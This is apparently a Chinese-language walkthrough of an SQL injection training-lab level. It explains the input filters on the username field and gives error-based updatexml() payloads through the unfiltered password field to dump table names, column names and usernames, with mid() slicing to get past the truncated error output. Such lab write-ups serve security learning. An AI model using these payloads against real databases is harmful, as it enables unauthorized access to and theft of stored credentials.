目录
分析
前十六道题都很简单没有什么过滤的方法,直到这关开始有绕过,我们先看一下源码
这里面定义了个函数,输入的usename会在这里被滤一次,再看看陌生的几个函数意思
get_magic_quotes_gpc(),该函数返回检测PHP环境配置变量get_magic_quotes_gpc的值,当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(也就是在它前面加上反斜杠),当值为0的时候就不会转义
stripslashes(),该函数用于去除字符串里的反斜杠,也就是防止转义
ctype_digit(),该函数用于检测字符串是否为纯数字,是则返回true,不是返回false
mysql_real_escape_string(),该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入
intval(),该函数用于将字符串转化为纯数字
分析完后发现,只要经过这里一次,基本上不能进行SQL注入了,但是password没有被过滤,所以能以password这里作为注入点,但是呢必须得输对用户名才行
第一条SQL语句没有带password,第二条有,但是没有回显,可以利用报错盲注进行注入,这里附上一份报错盲注的原理解析SQL注入,xpath函数updatexml()和extractvalue()报错注入原理_金 帛的博客-CSDN博客
手工注入
爆表
-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database() limit 0,1)),1) #
爆字段
-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1) #
爆用户名
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from users)),1) #
出错了,是因为在原SQL语句中
对应的是update的语句,不能select表中的某些值,但是我们可以用其他方法绕过 ,将表名users用(select username from users)a替换掉
查字段值
-1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1)#
由于报错回显最多32位字符串,所以导致了回显不全的问题,我们可以利用字符串截断函数进行截断回显,这里我们使用mid函数,截断查询语句,从第32位开始查看回显31位字符串,也就是mid(SQL语句,32,31)
为了查看剩下的密码,接着我们构造payload
-1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),32,32)),1)#
继续查看后续的密码,构造payload
-1' and updatexml(1,concat(0x7e,mid((select group_concat(username) from (select username from users)a),64,32)),1)#
继续截断也不会回显,将上面的字符串连接起来就能得到完整的密码了